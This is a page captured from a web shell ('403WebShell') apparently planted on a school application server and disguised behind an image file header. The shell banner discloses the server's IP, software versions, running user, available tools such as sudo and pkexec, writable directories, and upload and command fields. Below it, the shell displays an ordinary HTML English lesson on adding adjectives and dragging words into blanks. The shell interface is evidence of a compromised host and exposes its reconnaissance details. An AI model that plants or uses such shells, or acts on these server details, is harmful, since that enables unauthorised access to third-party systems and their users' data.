????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.139.237.30
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelG/Category1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelG/Category1/LevelGCat1Lesson43.html
<!doctype html>
<html>
    <head>
        <title>Make sentences using adjectives and fill in the blanks</title>
        <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
        <script>
            
            function page_preLoad()
            {
                s_setDeviceTypeLevelCategoryLastLesson(Level.G, Category.No1);
                s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
                
                s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.G, Category.No1, 43), true, true);
                s_setFooterTable('id_tblFooter', true, true, true, true, true);
                
                var ids_headings = ['id_td_heading1', 'id_td_heading2'];
                var ids_options = ['id_options1', 'id_td_railway', 'id_td_newspaper', 'id_td_mud', 'id_td_glass', 'id_td_computer', 'id_td_fruit'];
                var ids_spans = ['id_span_railway', 'id_span_newspaper', 'id_span_mud', 'id_span_glass', 'id_span_computer', 'id_span_fruit'];
                var ids_boxes = ['id_dropbox_glass', 'id_dropbox_computer', 'id_dropbox_fruit', 'id_dropbox_railway', 'id_dropbox_newspaper', 'id_dropbox_mud'];
                
                var ids_texts = new Array();
                
                for (var textId = 1; textId <= 16; textId++)
                {
                    ids_texts.push('id_td_text' + textId);
                }
                
                var ids_textBoxes = new Array();
                
                for (var textBoxId = 1; textBoxId <= 5; textBoxId++)
                {
                    var idTextBox = 'id_textBox' + textBoxId;
                    var eTextBox = document.getElementById(idTextBox);
                    eTextBox.value = '';
                    
                    if (s_currentDeviceType == s_DeviceTypeAndroidDeviceApp)
                    {
                        eTextBox.style.border = 'solid 2px black';
                    }
                    
                    ids_textBoxes.push(idTextBox);
                }
                
                var ids_All = ids_headings.concat(ids_texts, ids_options, ids_boxes);
                
                s_adjust_fontSize_for_ids_all_devices(ids_All, 70);
                s_adjust_fontSize_for_ids_all_devices(ids_textBoxes, 60);
                
                s_init_dropBox_tds_withOUT_drag_here(ids_boxes);
                s_init_dropping_spans(ids_spans);
                
                var id_tables_array = ['id_table1', 'id_table2'];
                s_border_collapse_for_tables_except_android(id_tables_array);
            }
        
            function page_onLoad()
            {
            }
        
            function DragDrop(id_dropBox, ids_array)
            {
                if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
                {
                    s_setTextAndBackgroundColorToGreenAndIsMovedTrue(s_currentDropingId, id_dropBox);
                    
                    s_set_currentDropingId_draggbleToFalse();
                }
                else
                {
                    s_resetCurrentDroppingPosition(id_dropBox);
                }
            }
        
            function btnValidate_click()
            {
                var ids_boxes = ['id_dropbox_glass', 'id_dropbox_computer', 'id_dropbox_fruit', 'id_dropbox_railway', 'id_dropbox_newspaper', 'id_dropbox_mud'];
                
                var isAllBoxesFilled = s_isAllInfosFilled(ids_boxes);
                
                var eTextBox1 = document.getElementById('id_textBox1');
                var eTextBox2 = document.getElementById('id_textBox2');
                var eTextBox3 = document.getElementById('id_textBox3');
                var eTextBox4 = document.getElementById('id_textBox4');
                var eTextBox5 = document.getElementById('id_textBox5');
                
                if ((eTextBox1.isCorrect == true) &&
                    (eTextBox2.isCorrect == true) &&
                    (eTextBox3.isCorrect == true) &&
                    (eTextBox4.isCorrect == true) &&
                    (eTextBox5.isCorrect == true))
                    {
                        s_show_claps_animation('s_id_div_message');
                    }
            }
            
            function validateSentence(id_textBox)
            {
                var eTextBox = document.getElementById(id_textBox);
                var inputText = eTextBox.value;
                var enteredTextArray = inputText.split(" ");
                var trimmedText = '';
                
                for (var textIndex = 0; textIndex < enteredTextArray.length; textIndex++)
                {
                    if (enteredTextArray[textIndex].trim() != '')
                    {
                        trimmedText += enteredTextArray[textIndex].trim() + ' ';
                    }
                }
                
                trimmedText = trimmedText.trim().toUpperCase();
                
                var correctText = getCorrectText(id_textBox);
                
                eTextBox.isCorrect = (trimmedText == correctText) ? true : false;
            }
            
            function getCorrectText(id_textBox)
            {
                var correctText = '';
                
                if (id_textBox == 'id_textBox1')
                {
                    correctText = 'THE TALL MAN IS MY UNCLE';
                }
                else if (id_textBox == 'id_textBox2')
                {
                    correctText = 'HEMA BOUGHT A BEAUTIFUL DRESS';
                }
                else if (id_textBox == 'id_textBox3')
                {
                    correctText = 'THE COCONUT IS A USEFUL FRUIT';
                }
                else if (id_textBox == 'id_textBox4')
                {
                    correctText = 'WE ENJOYED THE TASTY FOOD';
                }
                else if (id_textBox == 'id_textBox5')
                {
                    correctText = "PEOPLE ARE AFRAID OF THE CROCODILE'S POWERFUL JAWS AND SHARP TEETH";
                }
                
                return (correctText);
            }
            
            function btnHome_click()
            {
                s_btnHomeCategories_click('LevelG');
            }
            
            function btnPrevious_click()
            {
                window.location = 'LevelGCat1Lesson42.html';
            }
            
            function btnNext_click()
            {
                window.location = 'LevelGCat1Lesson44.html';
            }
        </script>
        
    </head>
    <body onload="page_onLoad()">
        
        <div id="s_id_div_message"></div>
        
        <table id="id_tblMainiPadBody" border="1px" cellspacing="0" cellpadding="0">
            <tr height="8%">
                <td>
                    <div id="id_tblHeader"></div>
                </td>
            </tr>
            <tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
                <td>
                    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                        <tr>
                            <td>
                                <table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
                                    <tr height="*">
                                        <td style="padding-bottom:0px">
                                            <table id="id_table1" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
                                                <tr height="10%">
                                                    <td id="id_td_heading1" class="s_style_heading"><u>Enter the following sentences more interesting by adding adjectives</u>:</td>
                                                </tr>
                                                <tr height="*">
                                                    <td>
                                                        <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                            <tr>
                                                                <td>
                                                                    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                                        <tr height="30%">
                                                                            <td id="id_td_text1" class="s_style_textBlack_padding_left">1. The man is my uncle. (tall)</td>
                                                                        </tr>
                                                                        <tr height="*">
                                                                            <td id="id_td_text2" align="center">
                                                                                <textarea id="id_textBox1" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox1')">
                                                                                </textarea>
                                                                            </td>
                                                                        </tr>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <td>
                                                                    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                                        <tr height="30%">
                                                                            <td id="id_td_text3" class="s_style_textBlack_padding_left">2. Hema bought a dress. (beautiful)</td>
                                                                        </tr>
                                                                        <tr height="*">
                                                                            <td id="id_td_text4" align="center">
                                                                                <textarea id="id_textBox2" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox2')">
                                                                                </textarea>
                                                                            </td>
                                                                        </tr>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <td>
                                                                    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                                        <tr height="30%">
                                                                            <td id="id_td_text5" class="s_style_textBlack_padding_left">3. The coconut is a fruit. (useful)</td>
                                                                        </tr>
                                                                        <tr height="*">
                                                                            <td id="id_td_text6" align="center">
                                                                                <textarea id="id_textBox3" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox3')">
                                                                                </textarea>
                                                                            </td>
                                                                        </tr>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                            <tr>
                                                                <td>
                                                                    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                                        <tr height="30%">
                                                                            <td id="id_td_text7" class="s_style_textBlack_padding_left">4. We enjoyed the food. (tasty)</td>
                                                                        </tr>
                                                                        <tr height="*">
                                                                            <td id="id_td_text8" align="center">
                                                                                <textarea id="id_textBox4" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="1" onchange="validateSentence('id_textBox4')">
                                                                                </textarea>
                                                                            </td>
                                                                        </tr>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                            <tr height="25%">
                                                                <td>
                                                                    <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                                        <tr height="30%">
                                                                            <td id="id_td_text9" class="s_style_textBlack_padding_left">5. People are afraid of the crocodile's jaws and teeth.
                                                                                (powerful, sharp)</td>
                                                                        </tr>
                                                                        <tr height="*">
                                                                            <td id="id_td_text10" align="center">
                                                                                <textarea id="id_textBox5" class="s_style_droppable_dash" style="width:95%; text-align:left; resize:none" rows="2" onchange="validateSentence('id_textBox5')">
                                                                                </textarea>
                                                                            </td>
                                                                        </tr>
                                                                    </table>
                                                                </td>
                                                            </tr>
                                                        </table>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="40%">
                                        <td>
                                            <table id="id_table2" width="100%" height="100%" border="1" cellpadding="0" cellspacing="0">
                                                <tr height="5%">
                                                    <td id="id_td_heading2" class="s_style_heading"><u>Fill in the blanks with the words</u>:
                                                        
                                                    </td>
                                                </tr>
                                                <tr height="15%">
                                                    <td>
                                                        <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                            <tr>
                                                                <td id="id_options1" class="s_style_heading_options" width="*">Options:</td>
                                                                <td id="id_td_railway" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                                                    <span id="id_span_railway">railway</span>
                                                                </td>
                                                                <td id="id_td_newspaper" class="s_style_draggable_text" width="20%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                                                    <span id="id_span_newspaper">newspaper</span>
                                                                </td>
                                                                <td id="id_td_mud" class="s_style_draggable_text" width="8%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                                                    <span id="id_span_mud">mud</span>
                                                                </td>
                                                                <td id="id_td_glass" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                                                    <span id="id_span_glass">glass</span>
                                                                </td>
                                                                <td id="id_td_computer" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                                                    <span id="id_span_computer">computer</span>
                                                                </td>
                                                                <td id="id_td_fruit" class="s_style_draggable_text" width="14%" align="center" draggable="true" ondragstart="s_dragStartNew(event)">
                                                                    <span id="id_span_fruit">fruit</span>
                                                                </td>
                                                            </tr>
                                                        </table>
                                                    </td>
                                                </tr>
                                                <tr height="*">
                                                    <td style="padding-left:2%">
                                                        <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
                                                            <tr id="id_tr_dropbox_glass"
                                                                ondragover="s_highlight('id_dropbox_glass'); s_allowDrop_web(event)"
                                                                ondragleave="s_un_highlight('id_dropbox_glass')"
                                                                ondrop="DragDrop('id_dropbox_glass', ['id_span_glass'])">
                                                                <td id="id_td_text11" class="s_style_textBlack">
                                                                    <span>1. Who broke the&nbsp;</span>
                                                                    <span id="id_dropbox_glass" class="s_style_droppable_dash">____________</span>
                                                                    <span>&nbsp;window?</span>
                                                                </td>
                                                            </tr>
                                                            <tr id="id_tr_dropbox_computer"
                                                                ondragover="s_highlight('id_dropbox_computer'); s_allowDrop_web(event)"
                                                                ondragleave="s_un_highlight('id_dropbox_computer')"
                                                                ondrop="DragDrop('id_dropbox_computer', ['id_span_computer'])">
                                                                <td id="id_td_text12" class="s_style_textBlack">
                                                                    <span>2. My friend is very good at&nbsp;</span>
                                                                    <span id="id_dropbox_computer" class="s_style_droppable_dash">____________</span>
                                                                    <span>&nbsp;games.</span>
                                                                </td>
                                                            </tr>
                                                            <tr id="id_tr_dropbox_fruit"
                                                                ondragover="s_highlight('id_dropbox_fruit'); s_allowDrop_web(event)"
                                                                ondragleave="s_un_highlight('id_dropbox_fruit')"
                                                                ondrop="DragDrop('id_dropbox_fruit', ['id_span_fruit'])">
                                                                <td id="id_td_text13" class="s_style_textBlack">
                                                                    <span>3. Do you like&nbsp;</span>
                                                                    <span id="id_dropbox_fruit" class="s_style_droppable_dash">____________</span>
                                                                    <span>&nbsp;salads?</span>
                                                                </td>
                                                            </tr>
                                                            <tr id="id_tr_dropbox_railway"
                                                                ondragover="s_highlight('id_dropbox_railway'); s_allowDrop_web(event)"
                                                                ondragleave="s_un_highlight('id_dropbox_railway')"
                                                                ondrop="DragDrop('id_dropbox_railway', ['id_span_railway'])">
                                                                <td id="id_td_text14" class="s_style_textBlack">
                                                                    <span>4. Please wait for me at the&nbsp;</span>
                                                                    <span id="id_dropbox_railway" class="s_style_droppable_dash">____________</span>
                                                                    <span>&nbsp;station.</span>
                                                                </td>
                                                            </tr>
                                                            <tr id="id_tr_dropbox_newspaper"
                                                                ondragover="s_highlight('id_dropbox_newspaper'); s_allowDrop_web(event)"
                                                                ondragleave="s_un_highlight('id_dropbox_newspaper')"
                                                                ondrop="DragDrop('id_dropbox_newspaper', ['id_span_newspaper'])">
                                                                <td id="id_td_text15" class="s_style_textBlack">
                                                                    <span>5. Have you read the&nbsp;</span>
                                                                    <span id="id_dropbox_newspaper" class="s_style_droppable_dash">____________</span>
                                                                    <span>&nbsp;report?</span>
                                                                </td>
                                                            </tr>
                                                            <tr id="id_tr_dropbox_mud"
                                                                ondragover="s_highlight('id_dropbox_mud'); s_allowDrop_web(event)"
                                                                ondragleave="s_un_highlight('id_dropbox_mud')"
                                                                ondrop="DragDrop('id_dropbox_mud', ['id_span_mud'])">
                                                                <td id="id_td_text16" class="s_style_textBlack">
                                                                    <span>6. People in the village live in&nbsp;</span>
                                                                    <span id="id_dropbox_mud" class="s_style_droppable_dash">____________</span>
                                                                    <span>&nbsp;houses.</span>
                                                                </td>
                                                            </tr>
                                                        </table>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
            <tr height="8%">
                <td>
                    <div id="id_tblFooter"></div>
                </td>
            </tr>
        </table>
        <script>
            page_preLoad();
            
            new webkit_draggable('id_span_railway', {handle : 'id_td_railway', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_span_newspaper', {handle : 'id_td_newspaper', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_span_mud', {handle : 'id_td_mud', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_span_glass', {handle : 'id_td_glass', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_span_computer', {handle : 'id_td_computer', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_span_fruit', {handle : 'id_td_fruit', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            
            webkit_drop.add('id_tr_dropbox_glass', {onOver : function(){s_highlight('id_dropbox_glass')}, onOut : function(){s_un_highlight('id_dropbox_glass')}, onDrop : function(){DragDrop('id_dropbox_glass', ['id_span_glass'])}});
            
            webkit_drop.add('id_tr_dropbox_computer', {onOver : function(){s_highlight('id_dropbox_computer')}, onOut : function(){s_un_highlight('id_dropbox_computer')}, onDrop : function(){DragDrop('id_dropbox_computer', ['id_span_computer'])}});
            
            webkit_drop.add('id_tr_dropbox_fruit', {onOver : function(){s_highlight('id_dropbox_fruit')}, onOut : function(){s_un_highlight('id_dropbox_fruit')}, onDrop : function(){DragDrop('id_dropbox_fruit', ['id_span_fruit'])}});
            
            webkit_drop.add('id_tr_dropbox_railway', {onOver : function(){s_highlight('id_dropbox_railway')}, onOut : function(){s_un_highlight('id_dropbox_railway')}, onDrop : function(){DragDrop('id_dropbox_railway', ['id_span_railway'])}});
            
            webkit_drop.add('id_tr_dropbox_newspaper', {onOver : function(){s_highlight('id_dropbox_newspaper')}, onOut : function(){s_un_highlight('id_dropbox_newspaper')}, onDrop : function(){DragDrop('id_dropbox_newspaper', ['id_span_newspaper'])}});
            
            webkit_drop.add('id_tr_dropbox_mud', {onOver : function(){s_highlight('id_dropbox_mud')}, onOut : function(){s_un_highlight('id_dropbox_mud')}, onDrop : function(){DragDrop('id_dropbox_mud', ['id_span_mud'])}});
            
        </script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit